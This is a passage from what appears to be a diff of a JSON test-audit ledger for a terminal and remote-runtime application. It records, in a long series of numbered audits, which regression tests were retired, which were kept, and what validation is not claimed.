result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Run one byte-identical six-terminal oracle against an isolated headed desktop host and an isolated headless `orca serve` host. Stage at least 1,000,000 xterm cells, hide all six warm managers, emit an initial working title followed by 30 timed real-PTY spinner frames and a final idle title per worktree, and observe a second real session-tabs subscription plus the production renderer store. Require exactly two transport envelopes and two title mutations per worktree, no decorative title crossing either boundary, and positive decoded-envelope bytes. Enable ordinary parking with the lossy retention budget disabled, require exactly one mounted manager and five parked tabs, at most 45% retained cells, no more than 16 MiB heap growth, and under 500 ms timer drift. In headed mode, require the host renderer to remain on its original workspace with zero target terminal managers mounted throughout client park, reveal, and live I/O. While a tab is parked, require authoritative terminal.read to observe new PTY output; reveal it and require the original PTY, a marker within the requested 5,000-row history, the parked marker, and post-reveal input/output. Drive 24 real PTY title trackers in distinct worktrees through 40 decorative spinner frames each, then 40 spinner frames alternating with Cursor's bare native identity redraw, using fake clocks. Require all 2,880 raw chunks exactly and zero host session-tabs publications, serialized bytes, renderer apply calls, and renderer store mutations. Continue decorative evidence beyond 30 minutes, require exactly one refresh per worktree per 15-minute lease through a FIFO spaced by at least 50 ms, and require all 24 viewer statuses to remain working and fresh; then require one exact semantic idle transition and one visible-output chunk per PTY. Require ordinary and interior-Braille title changes to publish. Drive 64 host PTYs through ten 80 ms synthetic title frames, require zero paired client events after the first frame per PTY while all 640 local frames remain observable, attach a late client and require one current frame per PTY, then require semantic bell and idle transitions on both clients. Reconstruct a legacy subscribed stream with no outputPause capability, hide a chatty pane, require no hidden xterm writes, reveal it, and require one authoritative snapshot plus continued live output. Drop and acknowledge output only for one original paired-client stream, prove the fixture process consumed input while the host model advanced and the client stayed stale, then require the command snapshot probe to replace that stream, repaint exact fixture output, preserve authoritative PTY identity and target-tab cardinality, and resume live I/O. For a client without a delivered sequence, require the first numeric probe to establish a baseline without replacement, a same-sequence probe to remain attached, and a later advanced probe to replace only that stream. Withhold the first encrypted shared-control ready frame, start one RPC, trigger a status-probe refresh, and require two connections, one host delivery, successful response, and zero retained request bytes. Admit 128 active streams, reject the 129th as retryable, release one stream, then require the retry to attach and publish a snapshot without multiplying retained subscribers. Disable terminal.paired-parking.v1 and require the same oracle to fail before parking, while the legacy limit-one fallback separately passes. Also preserve truncated first paint, ACK-starved same-PTY recovery, responsive silent-command snapshot probes, dead-stream probe timeout recovery, and queued manual-disconnect fencing.",
+      "oracle": "Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining 